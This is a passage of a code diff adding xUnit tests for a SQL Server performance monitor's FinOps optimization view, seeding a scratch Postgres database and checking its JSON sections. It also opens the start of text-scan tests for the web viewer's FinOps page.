+            Assert.All(doc.RootElement.EnumerateArray(), r => Assert.Equal(JsonValueKind.Null, r.GetProperty("est_cost_usd").ValueKind));
+    }
+}
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsOptimizationViewLiveTests
+{
+    private const string ServerName = "darling-finops-optview-a";
+    private const string EmptyServerName = "darling-finops-optview-b";
+    private const string PostgresServerName = "darling-finops-optview-c";
+    private const string TempdbOnlyServerName = "darling-finops-optview-d";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int EmptyServerId = ServerIdHelper.GetDeterministicHashCode(EmptyServerName);
+    private static readonly int PostgresServerId = ServerIdHelper.GetDeterministicHashCode(PostgresServerName);
+    private static readonly int TempdbOnlyServerId = ServerIdHelper.GetDeterministicHashCode(TempdbOnlyServerName);
+
+    private static string? Cs()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live optimization view test.");
+        return cs;
+    }
+
+    private async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct, decimal? monthlyCost = 1000m)
+    {
+        /* The memory-grant days are yesterday and today (UTC); keep clear of the last minutes of the day. */
+        Assert.SkipWhen(DateTime.UtcNow.TimeOfDay > new TimeSpan(23, 45, 0), "The seeded grant days need the clock before 23:45 UTC.");
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, EmptyServerId, EmptyServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, TempdbOnlyServerId, TempdbOnlyServerName, ct);
+        await PgTargetFactCollectorTests.RegisterServerAsync(c, PostgresServerId, PostgresServerName, MonitoredEngineKind.Postgres, 16, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET monthly_cost_usd = $2 WHERE server_id = $1", ServerId, (object?)monthlyCost ?? DBNull.Value);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* Sizes: the latest snapshot. IdleBig has two files; master is a system database and is left out. */
+        await Size(c, ct, now.AddHours(-3), "IdleBig", 300.5m);
+        await Size(c, ct, now.AddHours(-3), "IdleBig", 200.25m);
+        await Size(c, ct, now.AddHours(-3), "IdleSmall", 64m);
+        await Size(c, ct, now.AddHours(-3), "BusyDb", 900m);
+        await Size(c, ct, now.AddHours(-3), "master", 5000m);
+
+        /* Activity: BusyDb ran in the window. IdleBig has rows that ran nothing, and a server-local last execution well before the 7 days. */
+        await Query(c, ct, now.AddDays(-2), "BusyDb", "0xB0", "SELECT busy", 1_000_000, 5, 100, new DateTime(2026, 10, 1, 9, 0, 0), null);
+        await Query(c, ct, now.AddDays(-2), "IdleBig", "0xB1", "SELECT idle", 0, 0, 0, new DateTime(2026, 9, 20, 3, 4, 5), null);
+
+        /* Idle needs 7 days of watching (#5492): the oldest query-stats sample at or before now - 7 days and a sample on each complete UTC day
+           D-7..D-1. The coverage samples carry a database nobody lists and run nothing, so IdleBig and IdleSmall stay idle and no query row or
+           cost share moves. Without them the idle section reads "empty" (idle cannot be judged yet), which is the rule, not a fault. */
+        await FinOpsIdleCoverageSeed.SeedAsync(c, ct, ServerId, ServerName, now);
+
+        /* Expensive statements. Beta and Gamma tie on CPU; Alpha has a plan; Delta's text is 260 characters. */
+        await Query(c, ct, now.AddHours(-2), "AlphaDb", "0xE1", "SELECT alpha", 9_000_000, 30, 1000, null, "<ShowPlanXML />");
+        await Query(c, ct, now.AddHours(-2), "DeltaDb", "0xE4", "SELECT " + new string('d', 260), 6_000_000, 3, 50, null, null);
+        await Query(c, ct, now.AddHours(-2), "BetaDb", "0xE2", "SELECT beta", 4_000_000, 8, 300, null, null);
+        await Query(c, ct, now.AddHours(-2), "GammaDb", "0xE3", "SELECT gamma", 4_000_000, 8, 200, null, null);
+
+        /* tempdb: the 30-hour-old sample is outside the 24-hour peak. */
+        await Tempdb(c, ct, ServerId, ServerName, now.AddHours(-30), 9000m, 9000m, 9000m, 27000m);
+        await Tempdb(c, ct, ServerId, ServerName, now.AddHours(-10), 1500.5m, 300m, 2500m, 4300.5m);
+        await Tempdb(c, ct, ServerId, ServerName, now.AddHours(-1), 800m, 1200.25m, 100m, 2100.25m);
+        await Tempdb(c, ct, TempdbOnlyServerId, TempdbOnlyServerName, now.AddHours(-1), 800m, 1200.25m, 100m, 2100.25m);
+
+        /* Waits: Locks and Memory tie on 700. Other holds 100 inside 24 hours and 5100 inside 48. */
+        await Wait(c, ct, now.AddHours(-2), "CXPACKET", 1000, 10);
+        await Wait(c, ct, now.AddHours(-3), "CXPACKET ", 500, 5);
+        await Wait(c, ct, now.AddHours(-2), "SOS_SCHEDULER_YIELD", 800, 20);
+        await Wait(c, ct, now.AddHours(-2), "PAGEIOLATCH_SH", 700, 7);
+        await Wait(c, ct, now.AddHours(-2), "WRITELOG", 300, 3);
+        await Wait(c, ct, now.AddHours(-2), "LCK_M_X", 700, 7);
+        await Wait(c, ct, now.AddHours(-2), "RESOURCE_SEMAPHORE", 700, 9);
+        await Wait(c, ct, now.AddHours(-2), "BROKER_TASK_STOP", 100, 1);
+        await Wait(c, ct, now.AddHours(-30), "OUTSIDE_WAIT", 5000, 50);
+
+        /* Memory grants: two samples yesterday, one today. */
+        var today = now.Date;
+        await Grant(c, ct, today.AddMinutes(-10), 2000m, 1500m, 3, 1, 2, 1);
+        await Grant(c, ct, today.AddMinutes(-5), 1000m, 500m, 3, 2, 3, 0);
+        await Grant(c, ct, today.AddMinutes(5), 800m, 200m, 4, 0, 0, 7);
+        return scratch;
+    }
+
+    private static Task Size(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, decimal sizeMb) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb) VALUES ($1, $2, $3, $4, $5, $6)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, sizeMb);
+
+    private static Task Query(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string handle, string text,
+        long cpuUs, long exec, long logical, DateTime? lastExecution, string? planXml) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                query_text, delta_worker_time, delta_execution_count, delta_logical_reads, sample_interval_seconds,
+                last_execution_time, query_plan_xml)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "0xQ" + handle, handle, text, cpuUs, exec, logical,
+            60, lastExecution, planXml);
+
+    private static Task Tempdb(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, DateTime at, decimal user,
+        decimal internalObjects, decimal versionStore, decimal total) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO tempdb_stats (collection_id, collection_time, server_id, server_name, user_object_reserved_mb,
+                internal_object_reserved_mb, version_store_reserved_mb, total_reserved_mb)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, user, internalObjects, versionStore, total);
+
+    private static Task Wait(NpgsqlConnection c, CancellationToken ct, DateTime at, string type, long waitMs, long tasks) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_wait_time_ms, delta_waiting_tasks)
+              VALUES ($1,$2,$3,$4,$5,$6,$7)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, type, waitMs, tasks);
+
+    private static Task Grant(NpgsqlConnection c, CancellationToken ct, DateTime at, decimal granted, decimal used,
+        int grantees, int waiters, long timeoutDelta, long forcedDelta) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO memory_grant_stats (collection_id, collection_time, server_id, server_name, resource_semaphore_id, pool_id, target_memory_mb, max_target_memory_mb, total_memory_mb, available_memory_mb, granted_memory_mb, used_memory_mb, grantee_count, waiter_count, timeout_error_count, forced_grant_count, timeout_error_count_delta, forced_grant_count_delta)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, (short)0, 2, 8000m, 12000m, 8000m, 8000m - granted, granted, used,
+            grantees, waiters, 4L, 2L, timeoutDelta, forcedDelta);
+
+    private static async Task<JsonDocument> ToolAsync(NpgsqlDataSource ds, string server, int hours, int limit, CancellationToken ct) =>
+        JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "optimization", server, hours, limit, cancellationToken: ct));
+
+    private static JsonElement Section(JsonDocument doc, string name) => doc.RootElement.GetProperty(name);
+
+    [Fact]
+    public async Task OneRowPerSection_ReadsFieldByField_AgainstLiteralValues()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var before = DateTime.UtcNow;
+        using var tool = await ToolAsync(ds, ServerName, 24, 10, ct);
+        var after = DateTime.UtcNow;
+        var root = tool.RootElement;
+
+        Assert.Equal(ServerName, root.GetProperty("server").GetString());
+        Assert.Equal(24, root.GetProperty("hours_back").GetInt32());
+        Assert.Equal(1000m, root.GetProperty("monthly_cost_usd").GetDecimal());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("cost_reason").ValueKind);
+
+        var idle = Section(tool, "idle_databases");
+        Assert.Equal("ok", idle.GetProperty("status").GetString());
+        Assert.Equal(7, idle.GetProperty("window_days").GetInt32());
+        Assert.Equal(2, idle.GetProperty("database_count").GetInt32());
+        Assert.False(idle.GetProperty("truncated").GetBoolean());
+        var big = idle.GetProperty("rows")[0];
+        Assert.Equal("IdleBig", big.GetProperty("database_name").GetString());
+        Assert.Equal(500.75m, big.GetProperty("total_size_mb").GetDecimal());
+        Assert.Equal(2, big.GetProperty("file_count").GetInt32());
+        Assert.Equal("2026-09-20T03:04:05", big.GetProperty("last_execution_server_local").GetString());
+        Assert.Equal("IdleSmall", idle.GetProperty("rows")[1].GetProperty("database_name").GetString());
+        Assert.Equal(JsonValueKind.Null, idle.GetProperty("rows")[1].GetProperty("last_execution_server_local").ValueKind);
+
+        var tempdb = Section(tool, "tempdb_pressure");
+        Assert.Equal("ok", tempdb.GetProperty("status").GetString());
+        Assert.Equal(24, tempdb.GetProperty("window_hours").GetInt32());
+        Assert.Equal(new[] { "User Objects", "Internal Objects", "Version Store", "Total Reserved" },
+            tempdb.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("metric").GetString()).ToArray());
+        var version = tempdb.GetProperty("rows")[2];
+        Assert.Equal("Version Store", version.GetProperty("metric").GetString());
+        Assert.Equal(100m, version.GetProperty("current_mb").GetDecimal());
+        Assert.Equal(2500m, version.GetProperty("peak_24h_mb").GetDecimal());
+        Assert.Equal("Version store pressure \u2014 check long-running transactions", version.GetProperty("warning").GetString());
+        Assert.Equal("", tempdb.GetProperty("rows")[3].GetProperty("warning").GetString());
+
+        var waits = Section(tool, "wait_categories");
+        Assert.Equal("ok", waits.GetProperty("status").GetString());
+        Assert.Equal(24, waits.GetProperty("window_hours").GetInt32());
+        Assert.Equal(new[] { "CPU", "Storage", "Locks", "Memory", "Other" },
+            waits.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("category").GetString()).ToArray());
+        var cpu = waits.GetProperty("rows")[0];
+        Assert.Equal(2300L, cpu.GetProperty("total_wait_time_ms").GetInt64());
+        Assert.Equal(35L, cpu.GetProperty("waiting_tasks").GetInt64());
+        Assert.Equal(47.9m, cpu.GetProperty("pct_of_total").GetDecimal());
+        Assert.Equal("CXPACKET", cpu.GetProperty("top_wait_type").GetString());
+        Assert.Equal(1500L, cpu.GetProperty("top_wait_time_ms").GetInt64());
+        Assert.Equal(15.75m, cpu.GetProperty("est_cost_usd").GetDecimal());
+        Assert.Equal(4.79m, waits.GetProperty("rows")[2].GetProperty("est_cost_usd").GetDecimal());
+
+        var queries = Section(tool, "expensive_queries");
+        Assert.Equal("ok", queries.GetProperty("status").GetString());
+        Assert.Equal(24, queries.GetProperty("window_hours").GetInt32());
+        var start = queries.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", start, StringComparison.Ordinal);
+        var startInstant = DateTime.Parse(start, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+        Assert.InRange(startInstant, before.AddHours(-24), after.AddHours(-24));
+        Assert.Equal(McpHelpers.FormatEffectiveStart(startInstant), start);
+        Assert.Equal(4, queries.GetProperty("rows").GetArrayLength());
+        var alpha = queries.GetProperty("rows")[0];
+        Assert.Equal("AlphaDb", alpha.GetProperty("database_name").GetString());
+        Assert.Equal(9000L, alpha.GetProperty("total_cpu_ms").GetInt64());
+        Assert.Equal(300m, alpha.GetProperty("avg_cpu_ms_per_exec").GetDecimal());
+        Assert.Equal(1000L, alpha.GetProperty("total_reads").GetInt64());
+        Assert.Equal(33m, alpha.GetProperty("avg_reads_per_exec").GetDecimal());
+        Assert.Equal(30L, alpha.GetProperty("executions").GetInt64());
+        Assert.Equal("SELECT alpha", alpha.GetProperty("query_preview").GetString());
+        Assert.True(alpha.GetProperty("has_plan").GetBoolean());
+        Assert.Equal(12.86m, alpha.GetProperty("est_cost_usd").GetDecimal());
+        Assert.False(alpha.TryGetProperty("full_query_text", out _));
+        Assert.False(alpha.TryGetProperty("query_plan_xml", out _));
+        var delta = queries.GetProperty("rows")[1];
+        Assert.Equal(200, delta.GetProperty("query_preview").GetString()!.Length);
+        Assert.False(delta.GetProperty("has_plan").GetBoolean());
+        Assert.Equal(8.58m, delta.GetProperty("est_cost_usd").GetDecimal());
+        Assert.Equal(new[] { "BetaDb", "GammaDb" },
+            new[] { queries.GetProperty("rows")[2], queries.GetProperty("rows")[3] }.Select(r => r.GetProperty("database_name").GetString()).ToArray());
+
+        var grants = Section(tool, "memory_grant_efficiency");
+        Assert.Equal("ok", grants.GetProperty("status").GetString());
+        Assert.Equal(24, grants.GetProperty("window_hours").GetInt32());
+        Assert.Equal(2, grants.GetProperty("rows").GetArrayLength());
+        var yesterday = grants.GetProperty("rows")[0];
+        Assert.Equal(DateTime.UtcNow.Date.AddDays(-1).ToString("yyyy-MM-dd", CultureInfo.InvariantCulture), yesterday.GetProperty("day").GetString());
+        Assert.Equal(1500m, yesterday.GetProperty("avg_granted_mb").GetDecimal());
+        Assert.Equal(1000m, yesterday.GetProperty("avg_used_mb").GetDecimal());
+        Assert.Equal(66.7m, yesterday.GetProperty("efficiency_pct").GetDecimal());
+        Assert.Equal(2000m, yesterday.GetProperty("peak_granted_mb").GetDecimal());
+        Assert.Equal(500m, yesterday.GetProperty("wasted_mb").GetDecimal());
+        Assert.Equal(6L, yesterday.GetProperty("total_grantees").GetInt64());
+        Assert.Equal(3L, yesterday.GetProperty("total_waiters").GetInt64());
+        Assert.Equal(5L, yesterday.GetProperty("timeout_errors").GetInt64());
+        Assert.Equal(1L, yesterday.GetProperty("forced_grants").GetInt64());
+        Assert.Equal(7L, grants.GetProperty("rows")[1].GetProperty("forced_grants").GetInt64());
+    }
+
+    [Fact]
+    public async Task Sections_EqualTheReadersRows_ThroughTheRowFunctions()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        using var tool = await ToolAsync(ds, ServerName, 24, 10, ct);
+        var now = DateTime.UtcNow;
+        var (textStart, _) = RetentionTierRouter.ClampToTextHorizon(now, now.AddHours(-24));
+
+        var idle = await DarlingFinOpsOptimizationReader.GetIdleDatabasesAsync(ds, ServerId, now.AddDays(-7), 60, ct);
+        var tempdb = await DarlingFinOpsOptimizationReader.GetTempdbSummaryAsync(ds, ServerId, now.AddHours(-24), 60, ct);
+        var waits = await DarlingFinOpsOptimizationReader.GetWaitCategorySummaryAsync(ds, ServerId, now.AddHours(-24), 60, ct);
+        var queries = await DarlingFinOpsOptimizationReader.GetExpensiveQueriesAsync(ds, ServerId, textStart, 10, 60, ct);
+        var grants = await DarlingFinOpsUtilizationReader.GetMemoryGrantEfficiencyAsync(ds, ServerId, 24, 60, ct);
+
+        string Json(object o) => JsonSerializer.Serialize(o, McpHelpers.JsonOptions);
+        Assert.Equal(Json(DarlingMcpFinOpsTools.OrderIdleDatabases(idle).Select(DarlingMcpFinOpsTools.IdleDatabaseRow).ToList()), Section(tool, "idle_databases").GetProperty("rows").GetRawText());
+        Assert.Equal(Json(tempdb.Select(DarlingMcpFinOpsTools.TempdbRow).ToList()), Section(tool, "tempdb_pressure").GetProperty("rows").GetRawText());
+        Assert.Equal(Json(DarlingMcpFinOpsTools.WaitCategoryRows(waits, 1000m, 24)), Section(tool, "wait_categories").GetProperty("rows").GetRawText());
+        Assert.Equal(Json(DarlingMcpFinOpsTools.ExpensiveQueryRows(queries, 1000m, 24)), Section(tool, "expensive_queries").GetProperty("rows").GetRawText());
+        Assert.Equal(Json(DarlingMcpFinOpsTools.MemoryGrantRows(grants)), Section(tool, "memory_grant_efficiency").GetProperty("rows").GetRawText());
+    }
+
+    [Fact]
+    public async Task Limit_CapsOnlyTheExpensiveQueries_AndMovesTheirCostShare()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        using var tool = await ToolAsync(ds, ServerName, 24, 2, ct);
+
+        var queries = Section(tool, "expensive_queries");
+        Assert.Equal(2, queries.GetProperty("rows").GetArrayLength());
+        Assert.Equal("AlphaDb", queries.GetProperty("rows")[0].GetProperty("database_name").GetString());
+        Assert.Equal("DeltaDb", queries.GetProperty("rows")[1].GetProperty("database_name").GetString());
+        /* 9000 and 6000 of the two returned rows' 15000 ms. */
+        Assert.Equal(19.73m, queries.GetProperty("rows")[0].GetProperty("est_cost_usd").GetDecimal());
+        Assert.Equal(13.15m, queries.GetProperty("rows")[1].GetProperty("est_cost_usd").GetDecimal());
+        Assert.Equal(2, Section(tool, "idle_databases").GetProperty("rows").GetArrayLength());
+        Assert.Equal(5, Section(tool, "wait_categories").GetProperty("rows").GetArrayLength());
+    }
+
+    [Fact]
+    public async Task HoursBack_WidensWaitsAndQueries_AndLeavesTheFixedSectionsAlone()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        using var day = await ToolAsync(ds, ServerName, 24, 10, ct);
+        using var two = await ToolAsync(ds, ServerName, 48, 10, ct);
+
+        long Other(JsonDocument d) => Section(d, "wait_categories").GetProperty("rows").EnumerateArray()
+            .Single(r => r.GetProperty("category").GetString() == "Other").GetProperty("total_wait_time_ms").GetInt64();
+        Assert.Equal(100L, Other(day));
+        Assert.Equal(5100L, Other(two));
+        Assert.Equal(48, Section(two, "wait_categories").GetProperty("window_hours").GetInt32());
+        Assert.Equal(48, Section(two, "expensive_queries").GetProperty("window_hours").GetInt32());
+        Assert.Equal(Section(day, "idle_databases").GetRawText(), Section(two, "idle_databases").GetRawText());
+        Assert.Equal(Section(day, "tempdb_pressure").GetRawText(), Section(two, "tempdb_pressure").GetRawText());
+        Assert.Equal(Section(day, "memory_grant_efficiency").GetRawText(), Section(two, "memory_grant_efficiency").GetRawText());
+
+        /* A week asks for more query text than is retained: the start is clamped to the retention horizon (3 days). */
+        var before = DateTime.UtcNow;
+        using var week = await ToolAsync(ds, ServerName, 168, 10, ct);
+        var after = DateTime.UtcNow;
+        var start = DateTime.Parse(Section(week, "expensive_queries").GetProperty("effective_start").GetString()!,
+            CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+        Assert.InRange(start, before.AddDays(-3), after.AddDays(-3));
+        Assert.Equal(168, Section(week, "expensive_queries").GetProperty("window_hours").GetInt32());
+    }
+
+    [Fact]
+    public async Task ServerWithNoRows_IsExactlyEmpty()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var body = await DarlingMcpFinOpsTools.GetFinOps(ds, "optimization", EmptyServerName, 24, 10, cancellationToken: ct);
+        Assert.Equal(
+            McpHelpers.Status("empty", "No idle-database, tempdb, wait, query or memory-grant data was found for this server in the windows read, so there is no optimization data to show."),
+            body);
+    }
+
+    [Fact]
+    public async Task PostgresServer_IsNotCollected_OnlyBecauseEverySectionIsGated()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var body = await DarlingMcpFinOpsTools.GetFinOps(ds, "optimization", PostgresServerName, 24, 10, cancellationToken: ct);
+        using var doc = JsonDocument.Parse(body);
+        Assert.Equal("not_collected", doc.RootElement.GetProperty("status").GetString());
+        Assert.False(doc.RootElement.TryGetProperty("idle_databases", out _));
+        Assert.Equal(
+            await DarlingEngineCapability.NotCollectedStatusAsync(ds, PostgresServerId, PostgresServerName, "database_size_stats", ct),
+            body);
+    }
+
+    [Fact]
+    public void MixedGatedAndEmptySections_KeepThePayload_AndOnlyAnUngatedEmptyAnswerIsBare()
+    {
+        var gate = McpHelpers.Status("not_collected", "gated");
+        var none = new[] { 0, 0, 0, 0, 0 };
+
+        Assert.True(DarlingMcpFinOpsTools.IsBareEmpty(none, new string?[] { null, null, null, null, null }));
+        /* Some gated, the rest empty: not bare, so each section says which it is. */
+        Assert.False(DarlingMcpFinOpsTools.IsBareEmpty(none, new string?[] { gate, null, null, gate, null }));
+        Assert.False(DarlingMcpFinOpsTools.IsBareEmpty(none, new string?[] { null, null, null, null, gate }));
+        /* Any rows at all keep the payload. */
+        Assert.False(DarlingMcpFinOpsTools.IsBareEmpty(new[] { 0, 1, 0, 0, 0 }, new string?[] { null, null, null, null, null }));
+    }
+
+    [Fact]
+    public async Task ServerWithOnlyTempdbRows_ReturnsThePayload_WithTheOtherSectionsEmpty()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = await ToolAsync(ds, TempdbOnlyServerName, 24, 10, ct);
+        Assert.Equal("ok", Section(tool, "tempdb_pressure").GetProperty("status").GetString());
+        Assert.Equal(4, Section(tool, "tempdb_pressure").GetProperty("rows").GetArrayLength());
+        foreach (var name in new[] { "idle_databases", "wait_categories", "expensive_queries", "memory_grant_efficiency" })
+        {
+            Assert.Equal("empty", Section(tool, name).GetProperty("status").GetString());
+            Assert.Equal(0, Section(tool, name).GetProperty("rows").GetArrayLength());
+        }
+        Assert.Equal(JsonValueKind.Null, tool.RootElement.GetProperty("monthly_cost_usd").ValueKind);
+        Assert.Equal("monthly cost not set", tool.RootElement.GetProperty("cost_reason").GetString());
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task NoCostSet_LeavesEveryCostNull_AndSaysWhy(bool zero)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct, zero ? 0m : null);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = await ToolAsync(ds, ServerName, 24, 10, ct);
+        Assert.Equal(JsonValueKind.Null, tool.RootElement.GetProperty("monthly_cost_usd").ValueKind);
+        Assert.Equal("monthly cost not set", tool.RootElement.GetProperty("cost_reason").GetString());
+        var rows = Section(tool, "wait_categories").GetProperty("rows").EnumerateArray()
+            .Concat(Section(tool, "expensive_queries").GetProperty("rows").EnumerateArray()).ToList();
+        Assert.Equal(9, rows.Count);
+        Assert.All(rows, r => Assert.Equal(JsonValueKind.Null, r.GetProperty("est_cost_usd").ValueKind));
+    }
+
+    [Fact]
+    public async Task ReadRoute_ReturnsTheToolsBody()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(ds);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, ds, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = "/api/read/get_finops";
+            request.Request.QueryString = new QueryString($"?server={ServerName}&view=optimization&hours=24");
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        var body = await reader.ReadToEndAsync(ct);
+        /* The tool is read after the route, so a clock tick between the two cannot move a window start past the route's. */
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(ds, "optimization", ServerName, 24, 10, cancellationToken: ct);
+
+        Assert.Equal(StatusCodes.Status200OK, context.Response.StatusCode);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        /* effective_start carries the read's own clock, so it is compared to the second and the rest exactly. */
+        var a = actual.RootElement.GetProperty("expensive_queries").GetProperty("effective_start").GetString()!;
+        var e = expected.RootElement.GetProperty("expensive_queries").GetProperty("effective_start").GetString()!;
+        Assert.True((DateTime.Parse(e, CultureInfo.InvariantCulture) - DateTime.Parse(a, CultureInfo.InvariantCulture)).Duration() < TimeSpan.FromSeconds(10));
+        Assert.Equal(StripStart(expected.RootElement.GetRawText()), StripStart(actual.RootElement.GetRawText()));
+    }
+
+    private static string StripStart(string json) =>
+        System.Text.RegularExpressions.Regex.Replace(json, "\"effective_start\":\"[^\"]+\"", "\"effective_start\":\"-\"");
+}
diff --git a/Darling/Darling.Tests/FinOpsPageShellTests.cs b/Darling/Darling.Tests/FinOpsPageShellTests.cs
new file mode 100644
index 0000000000..abe1fbb7ac
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsPageShellTests.cs
@@ -0,0 +1,230 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web viewer's FinOps page shell (#4843): the nav entry, the hash route, the fixed
+/// registry of twelve sub-tab modules in the desktop tab strip's order, the shape of each tab module, and the
+/// rule that the browser derives no band, score or percentage threshold. The repository has no JavaScript test
+/// runner, so these are text scans (the <see cref="ServerPageTabsTests"/> pattern).
+/// </summary>
+public sealed class FinOpsPageShellTests
+{
+    private static readonly string[] Wwwroot =
+        ["Darling", "PerformanceMonitor.Darling.Service", "wwwroot"];
+
+    /// <summary>The tab module ids in the order of FinOpsTab.xaml's sub-tab strip.</summary>
+    internal static readonly string[] TabIds =
+    [
+        "utilization", "database-resources", "storage-growth", "locking", "database-sizes", "version-store",
+        "optimization", "high-impact", "application-connections", "server-inventory", "index-analysis",
+        "recommendations",
+    ];
+
+    /// <summary>The headers of FinOpsTab.xaml's sub-tabs, in order, paired with <see cref="TabIds"/>.</summary>
+    private static readonly string[] XamlHeaders =
+    [
+        "Utilization", "Database Resources", "Storage Growth", "Locking &amp; Contention", "Database Sizes",
+        "Version Store (PVS)", "Optimization", "High Impact", "Application Connections", "Server Inventory",
+        "Index Analysis", "Recommendations",
+    ];
+
+    private static string Js(params string[] rel) =>
+        ReadRepoFileLf(Wwwroot.Concat(new[] { "js" }).Concat(rel).ToArray());
+
+    private static string TabFile(string id) => Js("pages", "finops", id + ".js");
+
+    [Fact]
+    public void RenderFinops_AFailedOrEmptyRereadOnAPollNeverMountsOverThePaintedTab()
+    {
+        var js = Js("pages", "finops.js").ReplaceLineEndings("\n");
+        Assert.Contains("    const show = (node) => {\n      /* A failed re-read on a poll says nothing about the painted page: keep it and the cache. */\n      if (hadCache) return;\n      lastRows = null;\n", js);
+    }
+
+    [Fact]
+    public void IndexHtml_HasTheFinOpsNavEntry()
+    {
+        var html = ReadRepoFileLf(Wwwroot.Concat(new[] { "index.html" }).ToArray());
+        Assert.Contains("<a data-route=\"finops\" href=\"#/finops\">FinOps</a>", html);
+    }
+
+    [Fact]
+    public void AppJs_ImportsRenderFinopsAndRoutesServerAndTab()
+    {
+        var app = Js("app.js");
+        Assert.Contains("import { renderFinops } from \"./pages/finops.js\";", app);
+        Assert.Contains("h.startsWith(\"#/finops/\")", app);
+        var start = app.IndexOf("function finopsRoute(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "finopsRoute must exist");
+        var end = app.IndexOf("\n}\n", start, StringComparison.Ordinal);
+        var body = app.Substring(start, end - start);
+        Assert.Contains("name: \"finops\"", body);
+        Assert.Contains("param: safeDecode(rest.slice(0, slash))", body);
